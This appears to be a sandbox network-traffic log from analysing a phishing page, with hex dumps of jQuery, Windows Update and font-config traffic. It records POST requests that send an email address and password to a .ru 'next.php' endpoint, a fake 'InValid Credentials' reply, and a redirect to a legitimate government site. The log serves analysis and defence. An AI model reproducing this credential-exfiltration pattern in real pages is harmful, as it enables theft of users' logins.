2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:04:35 UTC	643	OUT	POST /gtrdwefrtgrewsa/next.php HTTP/1.1 Host: ty2rtvvkw343me.ru Connection: keep-alive Content-Length: 44 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:04:35 UTC	44	OUT	Data Raw: 65 6d 61 69 6c 3d 61 69 62 25 34 30 61 69 62 2e 67 6f 76 2e 75 6b 26 70 61 73 73 77 6f 72 64 3d 73 68 68 64 6b 73 73 6c 64 6c 66 6b Data Ascii: email=aib%40aib.gov.uk&password=shhdkssldlfk
2024-05-01 17:04:46 UTC	159	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:04:36 GMT Server: Apache Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-05-01 17:04:46 UTC	99	IN	Data Raw: 35 38 0d 0a 7b 22 73 69 67 6e 61 6c 22 3a 22 6f 6b 22 2c 22 6d 73 67 22 3a 22 49 6e 56 61 6c 69 64 20 43 72 65 64 65 6e 74 69 61 6c 73 22 2c 22 72 65 64 69 72 65 63 74 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 5c 2f 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 58{"signal":"ok","msg":"InValid Credentials","redirect_link":"https:\/\/www.google.com\/"}0

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:04:36 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4tEgXLkgw4BB69L&MD=HkLELfoC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-01 17:04:37 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 2a71be17-b86d-44ff-8132-33ab8ccb93b9 MS-RequestId: 897353db-bb41-49a8-aa5d-b89d3e7bede2 MS-CV: 5tdVTluQGkqulANs.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 01 May 2024 17:04:35 GMT Connection: close Content-Length: 24490
2024-05-01 17:04:37 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-05-01 17:04:37 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:04:38 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-01 17:04:38 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/079C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=117124 Date: Wed, 01 May 2024 17:04:38 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:04:38 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-01 17:04:38 UTC	805	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0778) X-CID: 11 X-CCC: US X-Azure-Ref-OriginShield: Ref A: 52EA27DBDE0C4533B819423583F6692E Ref B: CH1AA2040902052 Ref C: 2023-07-09T23:10:08Z X-MSEdge-Ref: Ref A: 528BB8D443C042AA9AEA4EC3F75C7762 Ref B: CHI30EDGE0111 Ref C: 2023-07-09T23:11:11Z Content-Type: application/octet-stream X-Azure-Ref: 01uvbYwAAAACkqWtaEMjWQL/4cpisZkorTUVNMzBFREdFMDgxMQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=136761 Date: Wed, 01 May 2024 17:04:38 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-01 17:04:38 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:04:56 UTC	643	OUT	POST /gtrdwefrtgrewsa/next.php HTTP/1.1 Host: ty2rtvvkw343me.ru Connection: keep-alive Content-Length: 46 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:04:56 UTC	46	OUT	Data Raw: 65 6d 61 69 6c 3d 61 69 62 25 34 30 61 69 62 2e 67 6f 76 2e 75 6b 26 70 61 73 73 77 6f 72 64 3d 73 6a 64 68 64 6a 73 6b 73 6c 64 6c 6c 66 Data Ascii: email=aib%40aib.gov.uk&password=sjdhdjsksldllf
2024-05-01 17:04:57 UTC	159	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:04:57 GMT Server: Apache Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-05-01 17:04:57 UTC	99	IN	Data Raw: 35 38 0d 0a 7b 22 73 69 67 6e 61 6c 22 3a 22 6f 6b 22 2c 22 6d 73 67 22 3a 22 49 6e 56 61 6c 69 64 20 43 72 65 64 65 6e 74 69 61 6c 73 22 2c 22 72 65 64 69 72 65 63 74 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 5c 2f 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 58{"signal":"ok","msg":"InValid Credentials","redirect_link":"https:\/\/www.google.com\/"}0

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:04:59 UTC	663	OUT	GET / HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:04:59 UTC	690	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:04:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=15768000;preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Referrer-Policy: strict-origin Permissions-Policy: accelerometer=(), ambient-light-sensor=(), geolocation=(), gyroscope=(), microphone=(), midi=(), payment=() Content-Security-Policy: manifest-src 'self' x-azure-ref: 20240501T170459Z-1744c668d97xvfn214p3ewd3bg000000055000000000g9de Cache-Control: public, max-age=240 x-fd-int-roxy-purgeid: 64500433 X-Cache: TCP_MISS Server: FD-Cache-Static
2024-05-01 17:04:59 UTC	15694	IN	Data Raw: 33 32 38 61 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 41 63 63 6f 75 6e 74 61 6e 74 20 69 6e 20 42 61 6e 6b 72 75 70 74 63 79 20 2d 20 53 63 6f 74 6c 61 6e 64 27 73 20 49 6e 73 6f 6c 76 65 6e 63 79 20 53 65 72 76 69 63 65 20 20 2d 20 41 63 63 6f 75 6e 74 61 6e 74 20 69 6e 20 42 61 6e 6b 72 75 70 74 63 79 20 7c 20 53 63 6f 74 6c 61 6e 64 26 23 78 32 37 3b 73 20 49 6e 73 6f 6c 76 65 6e 63 79 20 53 65 72 76 69 63 65 0d 0a 20 20 20 20 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 45 78 70 6c 6f 72 65 20 Data Ascii: 328a<!DOCTYPE html><html lang="en"><head> <title> Accountant in Bankruptcy - Scotland's Insolvency Service - Accountant in Bankruptcy \| Scotland's Insolvency Service </title> <meta name="description" content="Explore
2024-05-01 17:04:59 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 31 32 36 38 22 3e 44 65 61 72 20 54 72 75 73 74 65 65 20 6c 65 74 74 65 72 73 3c 2f 6f 70 74 69 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 31 32 36 39 22 3e 46 6f 72 6d 73 3c 2f 6f 70 74 69 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 31 32 37 30 22 3e 4c 65 67 69 73 6c 61 74 69 6f 6e 3c 2f 6f 70 74 69 6f 6e 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <option value="1268">Dear Trustee letters</option> <option value="1269">Forms</option> <option value="1270">Legislation</option>
2024-05-01 17:04:59 UTC	5461	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 59 6f 75 72 20 66 65 65 64 62 61 63 6b 20 68 65 6c 70 73 20 75 73 20 74 6f 20 69 6d 70 72 6f 76 65 20 74 68 69 73 20 77 65 62 73 69 74 65 2e 20 44 6f 20 6e 6f 74 20 67 69 76 65 20 61 6e 79 20 70 65 72 73 6f 6e 61 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 62 65 63 61 75 73 65 20 77 65 20 63 61 6e 6e 6f 74 20 72 65 70 6c 79 20 74 6f 20 79 6f 75 20 64 69 72 65 63 74 6c 79 2e 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 64 73 5f 62 75 74 74 6f 6e 20 20 64 73 5f 6e 6f 2d 6d Data Ascii: <p>Your feedback helps us 